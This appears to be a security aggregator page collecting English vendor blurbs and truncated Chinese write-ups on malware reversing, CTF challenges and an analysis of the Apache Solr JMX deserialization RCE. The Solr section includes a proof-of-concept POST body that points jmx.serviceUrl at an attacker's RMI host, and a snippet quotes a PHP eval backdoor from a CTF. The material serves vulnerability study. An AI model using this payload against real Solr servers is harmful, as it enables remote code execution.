Aggregator

When it comes to perceptions of risk and defense, there’s a measurable gap in some areas between security leadership and lower-level security technicians. This can lead to a misalignment of resources, unnecessary blame-storming, and diluted effectiveness.

In this episode, we’ll hear from Wayne Anderson, Enterprise Security Architect at McAfee and Dan Flaherty from the cloud security...

The post ST03: Cloud Technology Trends with Wayne Anderson and Dan Flaherty appeared first on McAfee Blog.

F5's Preston Hogue writes for Security Week, weighing in on building trust and reputation in the Digital Era.

随便谷歌了一个样本来，md5：55a7aa5f0e52ba4d78c145811c830107 恶意代码在__crtExitProcess中调用 用GetModuleHandleW(0)拿到本模块的加载基址，然后通过偏移调用IAT中的VirtualAlloc 这里IDA的Hexrays不知道为什么值优化错了，对着0x4709f找了半天都没找到东西，看了一下汇编才发现是0x11c27c 接着同样...

场景： 在wireshark里面提取response包的值。

概述

挖src碰到了一个solr的环境，然后看到国外有人提交了一个关于solr rce的漏洞。

漏洞链接(https://issues.apache.org/jira/browse/SOLR-13301)

看描述是因为JMX造成的反序列化漏洞。因此分析复现一遍。

POC

URL:http://localhost/solr/[corename]/config"

PostBody:
{"set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://IP:PORT/obj}}

分析

我本地环境为jdk7u21+solr5.3.0

搭建环境具体过程就不说了，就是ant编译源码然后IDEA挂载跑起来就行。

因为solr有一个类webapp的东西，所以首先查看入口点也就是web.xml

如图所示:

有一个全局的filter，跟进这个filter看一下内容：

Filter函数关键的地方在这里，跟进这个call函数查看一下内容:

这里调用了一个init函数，也就是初始化的操作，跟进这个函数看一下对路由的处理:

相应的代码点功能我都写了注释。这段代码主要是判断路由的情况。而下面这段代码很关键的地方在于设置了action为PROCESS。然后return

至此，初始化的操作完毕，我们也知道了是如何解析URL的，并且将action设为了PROCESS，然后回到call函数，继续看，发现对action有个switch操作，如图所示:

这里我们进入case PROCESS这个分支，核心操作在execute(solrRsp)，跟入查看:

这里又继续调用了一个execute函数，跟进查看:

这里调用了关键函数，handleRequest，跟进这个函数查看:

关键点在handleRequestBody函数，有很多类重写了这个函数，我们跟到SolrConfigHandler这个类中去:

当请求方法为POST的时候，调用command.handlePOST()，跟进该函数:

函数第一行的功能是解析POSTbody，将JSON解析为List，因此ops和opsCopy存放的是我们传入的数据。而 overlay是从原来的配置文件中取出的数据，也就是corename/conf/configoverlay.json。如果没有的话，这里是空。

然后将这两个变量带入到了handleCommands函数中继续处理，跟进：

这里根据传入的name来判断进入哪个分支，常量对应表为

我们需要进入SET_PROPERTY分支，该分支调用了一个applySetProp函数，跟进:

这里将name和val单独取出来。带入到该函数末尾的

跟进该函数:

其实就是一个组装键值的过程，然后最后将组装好的jsonObj带入到ConfigOverlay构造函数中:

注意这个props和data此时已经包含了发送的payload。

然后依次返回到handleCommands函数中case分支完成。然后到handleCommands最后的的代码:

首先看到persistConfLocally这个函数，传递了三个参数进去，第一个是resourceloader，第二个是一个字符串常量，值为:

第三个比较重要，是overlay.toByteArray，而这个overlay是上文中return回来的ConfigOverlay对象，那么看一下这个类的toByteArray函数实现:

就是一个值转Json的操作，这里是data，而这个data上文说过，包含了我们的payload。

参数都搞清楚了，那么然后回到persistConfLocally函数，看一下操作:

这个函数功能很简单，就是将包含payload的json数据写入到我们的configoverlay.json文件中。

OK，调用完persistConfLocally之后，又调用了一个reload函数，看一下:

注意红框处的函数，是真正的漏洞触发点。调用了一个getConfig函数，跟进:

这里调用createSolrConfig创建SolrConfig对象，跟进:

继续跟进:

这里new了一个SolrConfig对象，name是一个字符串，值为solrconfig.xml

SolrConfig类的构造函数很长，关键点在

这里设置了jmxconfig的值，首先调用了getNode函数查看solrConfig.xml中是否有jmx节点，如果有(这里是有的)就调用get函数将configoverlay.json中对应的数据取出来，这里有一个get("jmx/@serviceUrl")的操作，其实就是将上文写入configoverlay.json中的远程serviceUrl取出来。另外这jmxconfig是一个JmxConfiguration对象，看一下构造函数:

我们的serviceUrl是第三个参数，被设置为了成员变量serviceUrl的值。

然后继续层层返回，返回到reload函数中:

reload函数中也调用了一个reload函数，这函数中存在真正的触发点，跟入查看:

这里new了一个SolrCore对象，注意第三个参数，coreConfig.getSolrConfig()这个函数其实是返回的上文new的SolrConfig对象，然后跟进SolrCore类的构造函数，该构造函数中有这样一段代码:

跟入initInfoRegistry函数:

这里进入到if分支，该分支里new了一个JmxMonitoredMap对象，注意传入的第三个参数，是config.jmxConfig。也就是SolrConfig的jmxConfig成员，这个成员上文有强调。jmxConfig成员是一个JmxConfiguration对象，它的成员serviceUrl是可控的，包含的是我们的payload。

然后进入JmxMonitoredMap对象的构造函数:

这一段调用JMX，传入可控的serviceUrl，导致反序列化RCE。

后记

https://github.com/mpgn/CVE-2019-0192

划一波水，re1秒了，re2看起来挺有意思的就处理一下 main函数有一个花指令使得CreateFunction失败 jmp跳到了自己指令的中间部分，NOP掉即可 然后重新在开头按P或者右键CreateFunction就可以F5了 main函数里没啥好说的，这个花不去也无所谓，反正汇编也看得出来call 8048580要返回1才可Correct 先看一下这个函数的CFG 比较像控制流平坦化或...

某宝上买了一个可以发射固定码信号的 315 MHz 遥控器和 315 MHz 的超再生接收模块，这里尝试录制并解析一下发散的信号。 使用工具 HDSDR + RTL SDR + 遥控信号器 + Audacity 信号分析 遥控器一共有 A、B、C、D 四个按键，每个按键对应不同的信号载波 分别录制好

调试机制 Linux 通过ptrace系统调用来调试子进程 对于create类型，与正常创建子进程工序相同，通过fork创建子进程后使用traceme来告知内核它需要被调试，这样等到exec执行的时候内核就会产生SIGTRAP，此时调用wait的父进程就会接收到这个信号并ptrace子进程，从而使得调试优先于子进程的所有内容 而对于attach类型，是父进程直接使用ptrace去调试其他进程，如果...

这次TCTF中一道题，给出了一个PHP一句话木马，设置了open_basedir，disable_functions包含所有执行系统命令的函数，然后目标是运行根目录下的/readflag，目标很明确，即绕过disable_functions和open_basedir，当然我还是一如既往的菜，整场比赛

pwn1 考点：构造 shellcode，patch 汇编指令 IDA 查看反汇编，程序的逻辑很简单如，如果 直接 f5 的话 IDA 可能识别不出来函数，问题出在 0x080484CF 这个地方， 指令识别不出来， 所以这里可以先 patch 成 nop，之后 f5 就正常了 。 程序把输入当成

hard Level 5- Fred CMS 十有八九是注入，不过测试引号和转义符并没发现什么，于是跑了下密码字典，竟然发现网页提示 sql injection detected! ，然后发现原来是密码中存在or关键字 测试了username处发现未拦截关键字，那注入点应该只存在于password，

AWS is the biggest name in IaaS, but the shared responsibility model leaves you open to risk. A full approach to AWS cloud security can fill the gap.

F5's Lori MacVittie writes for Tripwire, Inc., sharing five easy steps you can take to help improve security without sacrificing speed.

MFC 简介 微软基础类库（英语：Microsoft Foundation Classes，简称MFC）是微软公司提供的一个类库（class libraries），以C++类的形式封装了Windows API，并且包含一个应用程序框架，以减少应用程序开发人员的工作量。 –百度百科 虽然由于实际应用中MFC似乎即将被淘汰，（据说微软放弃更新十几年，但从版本号和种种迹象来看似乎是还在不断更新的，V...

题目链接 https://github.com/zh explorer/hctf2016 fheap 题目分析 题目功能只有 malloc 和 free 的功能，查看堆的布局： 全局指针没有置空， 导致 uaf 和 double free 漏洞 ，两种都可以做，但是这题的重点是绕过 PIE。 dou

本文首发于先知

周末打了两天, 自闭 web 狗就做出来这一题, 另一题不知道调用啥 mbean 能拿 shell. 总之题目质量真的是非常高, 学到了很多.

描述 1Imagick is a awesome library for hackers to break `disable_functions`. 2So I installed php-imagick in the server, opened a `backdoor` for you. 3Let's try to execute `/readflag` to get the flag. 4Open basedir: /var/www/html:/tmp/949c1400c8390865cb5939a106fec0b6 5Hint: eval($_POST["backdoor"]);

First joint National Cyber Security Centre (NCSC) and National Crime Agency (NCA) report published today.

Introducing Cyber Threat Intelligence (CTI), a freely available resource to assist in identifying and investigating malicious IP addresses and domains.